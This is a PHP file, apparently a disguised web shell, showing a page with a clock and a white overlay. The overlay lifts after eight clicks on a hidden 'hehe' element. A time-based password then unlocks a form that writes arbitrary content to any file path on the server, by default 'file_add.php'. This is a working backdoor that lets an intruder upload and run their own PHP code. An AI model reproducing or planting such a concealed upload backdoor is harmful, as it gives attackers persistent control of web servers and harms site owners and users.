<!--单页-密码-session-form_add.php-->
<?php
header("content-type:text/html;charset=utf-8");
session_start();
?>
<html>
	<head>
		<meta charset="UTF-8">
		<title>form_add</title>
		<style type="text/css">
.bai {
	width: 100%;
	height: 800px;
	background-color: white;
	position: absolute;
	z-index: 5;
	/*display: none;*/
}
#btn {
	cursor: default;
	color: white;
	margin-top: 300px;
}
		</style>
	</head>
	<body>
<div class="bai" id="bai"><span id="btn">hehe</span></div>
<p>现在时间：<span id="showtime" ></span></p>
<script type="text/javascript">
	var btn=document.getElementById('btn');
	var tag = 1;
	var dpwd="<?php echo $_SESSION['dpwd']; ?>" ? "<?php echo $_SESSION['dpwd']; ?>" : 'none';
	if(dpwd=='dpwd'){
		bai.style.display="none";
	}
	btn.onclick = function(){
		var bai=document.getElementById('bai');
	    if (tag == 1) {
	        tag++;
	    }else if(tag==8){
	        alert(tag);
	        bai.style.display="none";
	        tag++;
	    }else if(tag==999){
	    	alert('999');
	    	tag=1;
	    }else{
	    	tag++;
	    }
	}
	function getDate(){
		var date=new Date();
		var year=date.getFullYear();
		var month=date.getMonth();
		var day=date.getDate();
		var weeks=["日","一","二","三","四","五","六"];
		var week=date.getDay();
		var hours=date.getHours();
		var min=date.getMinutes();
		var sec=date.getSeconds();
		var str =year+"-"+month+"-"+day+" 星期"+weeks[week]+" "+hours+":"+min+":"+sec;
		document.getElementById("showtime").innerHTML=str;
	}
	setInterval("getDate()",1000);
</script>
<?php
$zm='lyesswlqbj';
$arr=array('37575451','37575451','195956535','91515457','735356595','37575859','91515253','195958575','735352515','37575451');
$now=date('Y-m-d H:i:s');
$i=substr($now, -2,1);
$s=substr($now, -1,1);
$mm=$zm{$i}.$zm{$s}.$arr[$s];
$nowt=$_SESSION['now']?$_SESSION['now']:$now;
echo "访问时刻：".$nowt."</br></br>";
//echo $_SESSION['mm'];
if(!$_SESSION['mm']){
	$_SESSION['mm']=$mm;
	$_SESSION['now']=$now;
}
if($_POST['dpwd']==$_SESSION['mm']){
	$_SESSION['dpwd'] = 'dpwd';
}elseif($_POST['dpwd']&&($_POST['dpwd']!=$_SESSION['mm'])){
	echo "<script>";
	echo "alert('错啦 ~_~！');";
	echo "window.location.href='#';";
	echo "</script>";
}
if(!$_SESSION['dpwd']){
	echo "<form action='#' method='post'>
			<input type='text' name='dpwd' value='' />
			<input type='submit' value='提交'/>
		</form>";
	exit();
}
if($_POST['create']=='create'){
	$handle = fopen($_POST['filename'], "a+");
	$w=fwrite($handle, $_POST['str']);
	if($w){
		echo "create OK";
		var_dump($w);
	}else{
		echo "create FAILED";
		var_dump($w);
	}
	exit();
}
?>
<form action="#" method="post">
	<input type="hidden" name="action" value="test" />
	<input type="hidden" name="diyid" value="1" />
	<input type="hidden" name="do" value="2" />
	<input type="hidden" name="create" value="create" />
	fileName:<input name="filename" type="text" value="file_add.php"/>
	<p>Content:</p>
	<textarea style="width: 100%; height: 500px;" name="str" rows="10" cols="50"></textarea>
	<input type="submit" name="submit" value="UP" />
	<input type="reset" value="reset" name="reset"  />
</form>
	</body>
</html>